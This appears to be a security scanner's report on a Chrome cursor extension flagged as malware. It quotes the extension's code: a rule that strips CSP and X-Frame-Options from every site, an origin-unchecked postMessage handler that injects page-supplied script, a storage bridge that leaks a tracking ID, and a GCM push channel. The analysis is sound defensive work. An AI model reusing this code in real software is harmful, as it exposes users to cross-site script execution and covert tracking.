Security Alert: Confirmed Malware
Custom Cursor Changer for Chrome
ID: ceiekmdcekohaonbmapmnnnkppbjlbkp
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://mycustomcursors.onlineView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Get custom cursor for Chrome on Computer, Chromebook, Windows 10, Mac. A huge library with lots of free sets and collections
Custom Cursor Changer is a great extension for Chrome that lets you change your browsing experience by creating your own mouse pointers. With the massive library of this extension, you can find anything to suit your style, whether it's a set of alien symbols or something else entirely. Change your cursor now and get ready for an awesome experience! Use a lot of cursor collection on webpages and websites. Nowadays, all Chrome users can customize their cursor. So, if you are not satisfied with the default cursor and want to bring a custom one, youโve come to the right place. We will show you how to get it for Chrome on Computer, Chromebook, Windows 10, Mac, etc. Go through the post to know about it. Step 1: First of all, open up Chrome and go to the Custom Cursor Changer for Chrome website. Now add the extension by clicking on Add to Chrome button. Step 2: Once installed, click on Add New button from the pop-up window that appears. Step 3: Next, click on Select Image button from the window that comes up after clicking on Add. Step 4: Now select an image from collection. Make Chrome your own. Personalize your Chrome browsing experience. If you're looking for a way to customize the mouse cursor in Chrome, you came to the right place. With Custom Cursors for Chrome you can customize your own mouse cursors with just a few clicks. There are over 1,000 custom cursors ready to be used on any website. The extension allows you to use customized cursors on any web page. The changes are made in real time so that you can see what they look like before deciding if they work or not. Whether you're looking for cursors that look like an anime character, a cat, dog, or something else, Custom Cursors for Chrome has it all. There are even custom cursors for holidays and special occasions! Custom Cursors for Chrome is the perfect tool for people who want to change their mouse cursor but don't want to do it manually. If you want to be able to use a different cursor on every website that you visit, this extension is perfect for you!
The declarativeNetRequest rule silently strips both the `content-security-policy` and `x-frame-options` response headers from every page the user visits (urlFilter: "*", resourceType: main_frame). Removing CSP eliminates the browser's primary defence against XSS and data-injection attacks on every site; removing X-Frame-Options re-enables clickjacking on every site. This is a hallmark attack-enablement technique used by malicious extensions to make the victim's entire browsing surface exploitable.
[ { "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "content-security-policy", "operation": "remove" }, { "header": "x-frame-options", "operation": "remove" } ] }, "condition": { "urlFilter": "*", "resourceTypes": [ "main_frame" ] } }]This web-accessible script (loadable from any origin) listens for postMessages with no origin check. When a message carries `_cursors` truthy, it calls `initCursorsFromMes(key, handler)` which constructs the string `handler + '(' + JSON.stringify(key) + ')'` and injects it as a `<script>` tag directly into the page DOM via `replaceCursors`. This is equivalent to `eval()` of attacker-controlled data: any web page that can load `initCursor.js` (it is a `web_accessible_resource` for all URLs) can send a postMessage to trigger arbitrary JavaScript execution in the context of that page, completing a remote code execution primitive.
function replaceCursors(parsedCursorsData) { const cursorDataId = Date.now().toString(36) + Math.random().toString(36).substr(2); const cursorsData = document.createElement('script'); cursorsData.setAttribute('id', cursorDataId); cursorsData.appendChild(document.createTextNode(parsedCursorsData + `; document.querySelector('#${cursorDataId}').remove();`)); document.body.appendChild(cursorsData);}function initCursorsFromMes(cursorData, basedCursorData) { if (!document.body || !document.body.appendChild) { return setTimeout(() => initCursorsFromMes(cursorData, basedCursorData), 100); } if (basedCursorData) { cursorData = basedCursorData + '(' + JSON.stringify(cursorData) + ')' } replaceCursors(cursorData)}window.addEventListener('message', e => { if (!e || !e.data) return; const { _cursors, key, handler } = e.data; _cursors && initCursorsFromMes(key, handler)});getCursors();The content script listens for postMessages from any origin (`*`) and exposes two dangerous primitives to every web page: (1) arbitrary write to extension local storage โ any page can call `setCursor` with any key/value pair, including overwriting cursor URLs or security-relevant config; (2) arbitrary read from extension storage โ any page can use `getCursor` to extract any stored value, including the tracking user ID, and the response is broadcast to `*` origin. The `handler` field from the page-supplied message is forwarded verbatim to `initCursor.js`, which then executes it as code (see separate finding), forming a complete XSS-to-RCE bridge from any web page.
window.addEventListener("message", (event) => { if (event.data.type && (event.data.type === "FROM_PAGE")) { chrome.storage.local.get(["user_Id_custom_cursors"], function(result) { window.postMessage({ type: "FROM_EXTENSION", user_id_cursors: result.user_Id_custom_cursors }, "*"); }); } ...} else if (event?.data?.cursorMsg) { if (event.data.options.action === 'setCursor') chrome.storage.local.set({ [event.data.options.key]: event.data.options.value }); if (event.data.options.action === 'getCursor') { chrome.storage.local.get([event.data.options.key], response => { event.source.postMessage({ _cursors: '1', key: response[event.data.options.key], handler: event.data.options.handler }, '*'); }); }}}, false);The background service worker silently registers the extension with Firebase Cloud Messaging (GCM) using sender ID `744626227416`. This establishes a persistent, covert push-notification channel from the extension operator's server to every user's browser. Although no `chrome.gcm.onMessage` listener is visible in this version of the code, the registration token stored in local storage can be used by the backend to push arbitrary payloads to the extension at any time โ a standard C2 (command-and-control) infrastructure pattern for malicious extensions.
chrome.storage.local.get("gcm_id", ({ gcm_id}) => { gcm_id || chrome.gcm.register(["744626227416"], ({ gcm_id }) => { !chrome.runtime.lastError && chrome.storage.local.set({ gcm_id }) })})On first install, the extension automatically creates a persistent unique user profile on `mycustomcursors.online` and stores the server-assigned `_id` locally. This ID is used across all subsequent API calls to correlate the user's cursor activity, and is also broadcast to any web page that requests it (see ContentScript finding). With 900,000 users, this constitutes mass covert identity-linked tracking. The uninstall URL also sends the user ID back to the operator's server, confirming the tracking intent.
function createUser() { return new Promise(async (resolve, reject) => { const response = await fetch('https://mycustomcursors.online/node/user', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ cursorsCollection: [], lastUsedCollection: [] }), }); const data = await response.json(); resolve(data); });}...if (!result.user_Id_custom_cursors) createUser().then(data => { chrome.storage.local.set({ 'user_Id_custom_cursors': data._id }); chrome.runtime.setUninstallURL(`https://mycustomcursors.online/pool?userId=${data._id}`);});The `setCursorCookie` function reads cookies set by `mycustomcursors.online` and stores them into extension local storage. Cookies from the operator's domain can carry arbitrary data that the server sets, effectively allowing the remote server to inject configuration or payloads into the extension's local state. Combined with the `getCursor` postMessage bridge, this data becomes readable by any web page, completing a channel from the operator's server โ extension storage โ any web page.
function setCursorCookie() { chrome.cookies.getAll({ url: "https://mycustomcursors.online" }, _cookies => { for (let i = 0; i < _cookies.length; i++) { if (_cookies[i].name === 'cursorData') { const cursorData = JSON.parse(JSON.stringify(decodeURIComponent(_cookies[i].value))); cursorData && chrome.storage.local.set({ cursorData }); } } });}Any web page on any origin can send a `FROM_PAGE` postMessage and receive back the user's persistent tracking ID (`user_Id_custom_cursors`) with no origin validation. The response is posted to `"*"` (all origins), meaning other frames on the page can also intercept it. This allows cross-site identity correlation: every website the user visits can silently query the extension for a stable unique identifier tied to the user's account on `mycustomcursors.online`.
window.addEventListener("message", (event) => { if (event.data.type && (event.data.type === "FROM_PAGE")) { chrome.storage.local.get(["user_Id_custom_cursors"], function(result) { window.postMessage({ type: "FROM_EXTENSION", user_id_cursors: result.user_Id_custom_cursors }, "*"); }); } ...}, false);By severity
Versions scanned
Showing 2 of 10 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.2.0.1 | 6 |
| 1.1.0 | 7 |
Files with findings
4 distinct paths โ top paths by unique finding count:
- js/background.js5
- js/ContentScript.js4
- js/initCursor.js2
- r-1.json2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.